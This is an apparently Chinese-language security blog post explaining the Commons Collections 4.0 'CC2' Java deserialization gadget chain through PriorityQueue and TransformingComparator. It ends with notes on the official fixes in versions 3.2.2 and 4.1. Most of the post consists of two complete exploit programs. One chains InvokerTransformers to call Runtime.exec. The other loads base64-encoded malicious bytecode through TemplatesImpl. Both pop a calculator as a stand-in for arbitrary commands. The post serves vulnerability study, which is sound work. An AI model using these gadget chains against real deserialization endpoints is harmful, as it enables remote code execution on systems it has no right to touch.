CommonCollections2

CommonCollections 2

commons-collections有两个版本

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4

前者是Commons Collections为3.2.1版本,后者版本号为4.0,两者都是独立的包,在3.2.1之前可以用的反序列化利用链,在4.0同样可以使用,同时4.0多了两条新的利用链。

PriorityQueue利用链

java.util.PriorityQueue中的readObject()方法为本链的入口点,其中调用了heapity()方法

而heapify()调用了siftDown()

]

继续跟进,如果comparator != null,进入siftDownUsingComparator()方法

]

而在siftDownUsingComparator()方法中,我们可以调用指定类的compare()方法

]

而org.apache.commons.collections4.comparators.TransformingComparator中存在compare方法可以调用 transform()方法

]

至此,我们就可以使用前几条链子的transform利用链,进而rce

完整poc:

package CCdemo;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) throws Exception{
        Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc.exe" }),
        };
        Transformer chainedTransformer = new ChainedTransformer(faketransformers);
        Comparator comparator = new TransformingComparator(chainedTransformer);
        PriorityQueue priorityQueue= new PriorityQueue(2,comparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Field f = chainedTransformer.getClass().getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer, transformers);
        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();
        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

成功执行

]

注意add方法会提前调用利用链,具体跟CC6类似,所以先传入一个fake对象,最后反射修改

PriorityQueue利用链之TemplatesImpl

结合前面所学知识,我们可以构造出来一个TemplatesImpl的利用链,没啥说的,直接拼接一下就ok了

package CCdemo;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CC2_TemplatesImpl {
    public static void setFieldValue(Object obj,String fieldName,Object Value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,Value);
    }
    public static void main(String[] args) throws Exception {
        byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAMQoADQAaCAAbCgAFABwIAB0HAB4KAAUAHwgAIAcAIQcAIgoAIwAkCAAlBwAmBwAn" +
                "AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACgB" +
                "AAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9E" +
                "T007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXph" +
                "dGlvbkhhbmRsZXI7KVYHACkBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94" +
                "c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVy" +
                "YXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6" +
                "YXRpb25IYW5kbGVyOylWAQAKU291cmNlRmlsZQEACkhlbGxvLmphdmEMAA4ADwEAEWphdmEubGFu" +
                "Zy5SdW50aW1lDAAqACsBAApnZXRSdW50aW1lAQAPamF2YS9sYW5nL0NsYXNzDAAsAC0BAARleGVj" +
                "AQAQamF2YS9sYW5nL1N0cmluZwEAEGphdmEvbGFuZy9PYmplY3QHAC4MAC8AMAEABGNhbGMBAAtM" +
                "b2Rlci9IZWxsbwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50" +
                "aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcv" +
                "YXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAHZm9yTmFtZQEA" +
                "JShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGph" +
                "dmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRo" +
                "b2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2Jq" +
                "ZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7ACEADAANAAAAAAADAAEA" +
                "DgAPAAIAEAAAAHEABgAFAAAAQSq3AAESArgAA0wrEgQDvQAFtgAGTSsSBwS9AAVZAxIIU7YABk4s" +
                "KwO9AAm2AAo6BC0ZBAS9AAlZAxILU7YAClexAAAAAQARAAAAHgAHAAAADQAEAA4ACgAPABUAEAAl" +
                "ABEAMAASAEAAFQASAAAABAABABMAAQAUABUAAgAQAAAAGQAAAAMAAAABsQAAAAEAEQAAAAYAAQAA" +
                "ABcAEgAAAAQAAQAWAAEAFAAXAAIAEAAAABkAAAAEAAAAAbEAAAABABEAAAAGAAEAAAAZABIAAAAE" +
                "AAEAFgABABgAAAACABk=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{codes});
        setFieldValue(templates,"_name","c1");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        Transformer transformer = new InvokerTransformer("toString", null, null);

        Comparator comparator = new TransformingComparator(transformer);
        PriorityQueue priorityQueue= new PriorityQueue(2,comparator);
        priorityQueue.add(templates);
        priorityQueue.add(templates);
        setFieldValue(transformer, "iMethodName", "newTransformer");
        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();
        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

官方修复

那么PriorityQueue利用链可以在commons-collections 3中使用吗?答案是不可以的。原因很简单,它不能被反序列化。

]

在3.2.2版本时,官方新增了FunctorUtils#checkUnsafeSerialization 用来检查反序列化是否安全,当反序列化常见的危险Transform类时,会抛出异常

而在4.1版本,常用的危险Transform类直接不能被反序列化

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇